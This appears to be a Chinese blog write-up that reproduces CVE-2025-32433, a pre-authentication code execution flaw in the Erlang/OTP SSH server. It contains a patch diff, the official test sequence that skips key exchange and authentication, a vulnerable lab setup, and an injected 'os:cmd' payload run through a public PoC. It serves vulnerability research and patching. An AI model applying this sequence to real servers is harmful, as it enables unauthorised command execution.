在 Erlang/OTP SSH 服务器中发现一个严重漏洞,该漏洞可能允许攻击者执行未经身份验证的远程代码执行(RCE)。攻击者通过利用 SSH 协议消息处理中的缺陷,能够在没有有效凭据的情况下,未经授权地访问受影响系统并执行任意命令。
<= OTP-27.3.2
<= OTP-26.2.5.10
<= OTP-25.3.2.19
首先就是通过修补后的版本进行找不同,确定漏洞点
git clone https://github.com/erlang/otp.git
git checkout OTP-27.3.1
mkdir -p ../ssh_5_2_9
cp -a lib/ssh/. ../ssh_5_2_9/ 有漏洞
# Checkout the commit that introduces ssh-5.2.10
git checkout 71219a5123309c8cf66f929a19a100a242e15681
mkdir -p ../ssh_5_2_10
cp -a lib/ssh/. ../ssh_5_2_10/ 无漏洞
根据blog里的diff.py找到了其中的异同
在ssh_connection.erl中
旧的如下:
handle_msg(#ssh_msg_disconnect{code = Code,
description = Description},
Connection, _, _SSH) ->
{disconnect, {Code, Description}, handle_stop(Connection)}.
改成了
handle_msg(#ssh_msg_disconnect{code = Code, description = Description}, Connection, _, _SSH) ->
{disconnect, {Code, Description}, handle_stop(Connection)};
handle_msg(Msg, Connection, server, Ssh = #ssh{authenticated = false}) ->
MsgFun = fun(M) ->
MaxLogItemLen = ?GET_OPT(max_log_item_len, Ssh#ssh.opts),
io_lib:format("Connection terminated. Unexpected message for unauthenticated user."
" Message: ~w", [M],
[{chars_limit, MaxLogItemLen}])
end,
?LOG_DEBUG(MsgFun, [Msg]),
{disconnect, {?SSH_DISCONNECT_PROTOCOL_ERROR, "Connection refused"}, handle_stop(Connection)};
在这段代码中,如果连接处于未认证状态 (Ssh = #ssh{authenticated = false}
),系统会构造一个日志函数 MsgFun
,并记录接收到的异常消息及字符限制。然后,系统会断开连接并返回 disconnect
命令,带上错误代码 ?SSH_DISCONNECT_PROTOCOL_ERROR
和描述 "Connection refused"
,表示协议错误导致的连接拒绝。 总的来说就是 增加了对未认证用户的特殊处理逻辑,当未认证用户发送不符合预期的消息时,系统会记录日志并断开连接。
其余的部分在源码上的几乎没有改动,这说明应该是跳过了ssh认证的中的验证阶段,也就是可以直接未授权进行命令执行。这样看起来poc应该很好写,我也尝试了像blog中使用GPT去进行这一个流程,确实没有生成可以使用的代码,最后又看起那些异同点。
在测试里增加了一段很有意思的内容,test/ssh_protocol_SUITE.erl中
early_rce(Config) ->
{ok,InitialState} =
ssh_trpt_test_lib:exec([{set_options, [print_ops, print_seqnums, print_messages]}]),
TypeOpen = "session",
ChannelId = 0,
WinSz = 425984,
PktSz = 65536,
DataOpen = <<>>,
SshMsgChannelOpen = ssh_connection:channel_open_msg(TypeOpen, ChannelId, WinSz, PktSz, DataOpen),
Id = 0,
TypeReq = "exec",
WantReply = true,
…………
{send, hello},
{send, ssh_msg_kexinit},
{match, #ssh_msg_kexinit{_='_'}, receive_msg},
{send, SshMsgChannelOpen},
{send, SshMsgChannelRequest},
{match, disconnect(), receive_msg}
], InitialState),
ok.
对,官方在修复时直接给出了一段poc程序进行验证,这就够了
现在我们可以来和正常的ssh验证进行比较了
正常的ssh流程
1. TCP连接
2. 交换banner (SSH-2.0-xxx)
3. 发送 SSH_MSG_KEXINIT (协商加密算法)
4. 交换密钥 (KEX)
5. 认证阶段 (SSH_MSG_USERAUTH_REQUEST / USERAUTH_SUCCESS)
6. 打开Channel (SSH_MSG_CHANNEL_OPEN)
7. 发送指令 (SSH_MSG_CHANNEL_REQUEST,比如exec / shell)
8. 收发数据
而漏洞形成的流程是
1. TCP连接
2. 交换banner
3. 发送 SSH_MSG_KEXINIT
4. ❌(跳过)密钥交换阶段
5. ❌(跳过)认证阶段
6. 直接发送 SSH_MSG_CHANNEL_OPEN
7. 直接发送 SSH_MSG_CHANNEL_REQUEST (带payload,比如file:write_file())
8. 服务器执行命令!(Pre-auth代码执行)
以表格形式对比
流程阶段 | 正常SSH | 漏洞利用 |
Banner交换 | ✅ | ✅ |
KEXINIT交换 | ✅ | ✅ |
密钥协商 (KEX) | ✅(必须完成) | ❌(直接跳过) |
认证 (UserAuth) | ✅(必须认证) | ❌(直接跳过) |
开Channel | ✅(认证后开) | ✅(未认证强行开) |
执行命令 | ✅(认证后执行) | ✅(未认证直接执行) |
我是以虚拟机装载的ubuntu18.04
首先,安装构建和运行 Erlang 所需要的依赖:
sudo apt-get update
sudo apt-get install -y \
git build-essential libssl-dev autoconf libncurses5-dev \
libgl1-mesa-dev libglu1-mesa-dev libpng-dev \
libssh-dev libxml2-utils xsltproc fop wget curl \
openssh-client
接下来,克隆 Erlang 源代码并进行编译:
git clone https://github.com/erlang/otp.git
cd otp
git checkout OTP-26.2.5.10 //选择有漏洞的版本
./configure --prefix=/usr
make -j$(nproc) //这一步时间可能会很久
sudo make install
将 ssh_server.erl
文件复制到 /root
或者任何你希望存放它的位置,然后使用 erlc
编译:
ssh_server.erl
内容
-module(ssh_server).
-export([start/0]).
start() ->
io:format("Starting vulnerable SSH server~n"),
application:ensure_all_started(ssh),
case ssh:daemon(2222, [
{system_dir, "/root/ssh_keys"},
{auth_methods, "password"},
{pwdfun, fun(User, Pass) ->
io:format("Login attempt ~p/~p~n", [User, Pass]),
false
end}
]) of
{ok, Pid} ->
io:format("SSH Daemon started successfully. Pid: ~p~n", [Pid]);
{error, Reason} ->
io:format("Failed to start SSH daemon: ~p~n", [Reason])
end.
编译,我这里都放在了root下:
cp /path/to/ssh_server.erl /root/
cd /root
erlc ssh_server.erl
生成一个适合 Erlang 使用的 RSA 密钥对:
mkdir -p /root/ssh_keys
ssh-keygen -m PEM -t rsa -b 2048 -f /root/ssh_keys/ssh_host_rsa_key -N ""
ssh-keygen -y -f /root/ssh_keys/ssh_host_rsa_key > /root/ssh_keys/ssh_host_rsa_key.pub
通过 erl
启动 Erlang shell,并运行 SSH 服务器:
erl -noshell -pa /root -s ssh_server start
之后可以使用ssh进行登录,使用私钥文件
欧克,知道了具体的流程之后,就很容易,使用了https://github.com/ProDefense/CVE-2025-32433/blob/main/CVE-2025-32433.py,将其中的命令部分改成
command = 'file:write_file("/1.txt", os:cmd("ifconfig")).'
最后在根目录下发现文件被创建了
1.关闭ssh服务器
2.更新到新版本
感觉这个漏洞确实过于存在缺陷了,一般都想不到这个问题。最有意思的poc可以说是完全依赖于大模型进行编写的,确实是好用的;但因为官方的补丁里是给出了验证的流程,所以对于单纯依靠漏洞描述进行POC编写,感觉目前的大模型能力存疑,不过确实已经发挥了很大的作用。
参考文献:
1 篇文章
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!